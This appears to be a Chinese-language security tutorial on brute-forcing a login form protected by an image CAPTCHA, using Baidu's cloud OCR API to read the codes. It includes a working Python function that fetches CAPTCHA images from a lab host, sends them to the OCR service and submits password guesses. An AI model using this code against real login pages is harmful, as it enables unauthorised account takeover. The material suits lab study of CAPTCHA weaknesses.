目录
基于百度智能云爆破验证码识别
一、基于php提供验证码校验接口
二、基于百度云API识别验证码
1、领取资源,创建应用
2、利用应用的API Key和Secret Key获取Access Token
3、文字识别
4、编写爆破程序
基于百度智能云爆破验证码识别
一、基于php提供验证码校验接口
利用python,通过机器学习,不停地获取验证码图片,然后再对正确答案进行标注,让机器学习本张图片的正确答案和对应的文字样式。只要学习的数量足够多,则识别率也会更高。
# 在vcode.php页面中修改如下代码$type = $_GET['type'];if ($type == 'img') {getCode(4,60,30);}elseif($type == 'text') {echo $_SESSION['vcode'];}
表明,如果我对该页面访问时,url 提交参数为 img 表示请求验证码图片,url 提交参数为 text 表示请求验证码的文本
二、基于百度云API识别验证码
1、领取资源,创建应用
2、利用应用的API Key和Secret Key获取Access Token
通用参考 - 鉴权认证机制 | 百度AI开放平台 (baidu.com)
import requestsimport jsondef main():url = "https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=xxxxxx&client_secret=xxxxx"payload = ""headers = {'Content-Type': 'application/json','Accept': 'application/json'}response = requests.request("POST", url, headers=headers, data=payload)print(response.text)if __name__ == '__main__':main()
向授权服务地址https://aip.baidubce.com/oauth/2.0/token
发送请求(推荐使用POST),并在URL中带上以下参数:
-
grant_type: 必须参数,固定为
client_credentials
; -
client_id: 必须参数,应用的
API Key
; -
client_secret: 必须参数,应用的
Secret Key
;
3、文字识别
通用文字识别(高精度版) - 文字识别OCR (baidu.com)
提示一:使用示例代码前,请记得替换其中的示例Token、图片地址或Base64信息。
提示二:部分语言依赖的类或库,请在代码注释中查看下载地址。
# encoding:utf-8import requestsimport base64'''通用文字识别(高精度版)'''request_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"# 二进制方式打开图片文件f = open('[本地文件]', 'rb')img = base64.b64encode(f.read())params = {"image":img}access_token = '[调用鉴权接口获取的token]'request_url = request_url + "?access_token=" + access_tokenheaders = {'content-type': 'application/x-www-form-urlencoded'}response = requests.post(request_url, data=params, headers=headers)if response:print (response.json())
4、编写爆破程序
def burst_login(Access_Token,password):# 由于百度处于公网,无法访问我内网的图片验证码IP地址,于是这里就将我内网的图片验证码读取下来然后通过base64编码传给百度OCRsession = requests.session()URL_vcodeimg = 'http://192.168.230.147/security/vcode.php'resp_vcodeimg = session.get(URL_vcodeimg)img = base64.b64encode(resp_vcodeimg.content)# 获取百度OCR文字识别图片验证码之后的文本url_baiduocr = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"params = {"image": img}access_token = Access_Tokenurl_baiduocr = url_baiduocr + "?access_token=" + access_tokenheaders = {'content-type': 'application/x-www-form-urlencoded'}response = requests.post(url_baiduocr, data=params, headers=headers)if response:vcode_ocr_text = response.json()['words_result'][0]['words']# 进行登录爆破login_url = 'http://192.168.230.147/security/login_2.php'data = {'username':'ymqyyds','password':password,'vericode':vcode_ocr_text}resp_burst = session.post(url=login_url,data=data)if 'vericode-error'in resp_burst.text:# 将识别出错的验证码保存在某个文本文件中,下一轮爆破时,遍历这些之前验证出错的验证码print(f'验证码出错 {data}')with open('./vcode_False.txt','a') as file:file.write(vcode_ocr_text + '\n')elif ('login-fail' not in resp_burst.text):print(f'爆破成功 {data}')
然后在主调函数中传递 Access_Token 和 password ,并且运行程序
但是,由于免费领取的资源,所以我们每秒只有 2 次的并发限制,在主调函数中需要注意